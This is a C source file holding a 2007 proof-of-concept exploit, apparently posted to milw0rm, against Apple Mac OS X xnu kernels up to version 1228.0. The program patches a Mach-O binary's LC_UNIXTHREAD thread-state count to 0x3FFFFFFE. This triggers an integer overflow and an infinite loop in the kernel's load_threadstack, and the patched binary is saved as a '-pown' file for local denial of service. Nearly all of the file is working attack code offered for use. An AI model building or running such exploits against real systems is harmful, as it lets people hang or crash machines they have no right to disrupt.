141 lines
No EOL
3.2 KiB
C
141 lines
No EOL
3.2 KiB
C
/* xnu-macho-dos.c
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*
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* Copyright (c) 2007 by <mu-b@digit-labs.org>
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*
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* Apple MACOS X xnu <= 1228.0 local kernel DoS POC
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* by mu-b - Thu 15 Nov 2007
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*
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* - Tested on: Apple MACOS X 10.4 (xnu-792.22.5~1/RELEASE_I386)
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* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
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* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_PPC)
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*
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* integer overflow causes infinite loop in load_threadstack.
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* (bsd/kern/mach_loader.c)
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <fcntl.h>
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#include <string.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <unistd.h>
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#define MAX_PATH_LEN 128
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#define LC_UNIXTHREAD 0x05
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#define x86_THREAD_STATE32 0x01
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/* osfmk/mach-o/loader.h */
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struct thread_command {
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unsigned long cmd; /* LC_THREAD or LC_UNIXTHREAD */
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unsigned long cmdsize; /* total size of this command */
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unsigned long flavor; /* flavor of thread state */
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unsigned long count; /* count of longs in thread state */
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};
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static void *
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xmalloc (int num_bytes)
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{
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char *buf;
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buf = malloc (num_bytes);
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if (buf == NULL)
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{
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fprintf (stderr, "malloc (): out of memory allocating %d-bytes!\n", num_bytes);
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exit (EXIT_FAILURE);
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}
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return (buf);
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}
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int
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main (int argc, char ** argv)
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{
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char fnbuf[MAX_PATH_LEN], *ptr, *cur, *end;
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int fd, wfd, found, size;
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struct stat fbuf;
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printf ("Apple MACOS X xnu <= 1228.0 local kernel DoS PoC\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
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if (argc <= 1)
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{
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fprintf (stderr, "Usage: %s <macho-o binary>\n", argv[0]);
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exit (EXIT_SUCCESS);
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}
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if ((fd = open (argv[1], O_RDONLY)) == -1)
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{
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perror ("open ()");
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exit (EXIT_FAILURE);
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}
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snprintf (fnbuf, sizeof fnbuf, "%s-pown", argv[1]);
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if ((wfd = open (fnbuf, O_RDWR | O_CREAT)) == -1)
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{
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perror ("open ()");
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exit (EXIT_FAILURE);
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}
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if (fstat (fd, &fbuf) < 0)
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{
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perror ("fstat ()");
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exit (EXIT_FAILURE);
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}
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size = fbuf.st_size;
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ptr = xmalloc (sizeof (char) * size);
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end = ptr + size;
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if (read (fd, ptr, size) < size)
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{
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unlink (fnbuf);
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perror ("write ()");
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exit (EXIT_FAILURE);
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}
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close (fd);
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for (cur = ptr, found = 0;
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!found && cur + sizeof (struct thread_command) < end;
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cur += sizeof (unsigned long))
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{
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struct thread_command *thr_cmd;
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thr_cmd = (struct thread_command *) cur;
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if (thr_cmd->cmd == LC_UNIXTHREAD &&
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thr_cmd->flavor == x86_THREAD_STATE32)
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{
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thr_cmd->count = 0x3FFFFFFE;
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printf ("* found at offset @0x%08X\n", cur - ptr);
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found = 1;
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}
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}
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if (!found)
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{
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unlink (fnbuf);
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fprintf (stderr, "* ARGH! hueristic didn't find our target!\n");
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exit (EXIT_FAILURE);
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}
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write (wfd, ptr, size);
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fchmod(wfd, fbuf.st_mode);
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close (wfd);
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free (ptr);
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fprintf (stdout, "* done\nexecute ./%s at your own risk!$%%!\n", fnbuf);
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return (EXIT_SUCCESS);
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}
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// milw0rm.com [2007-12-04]
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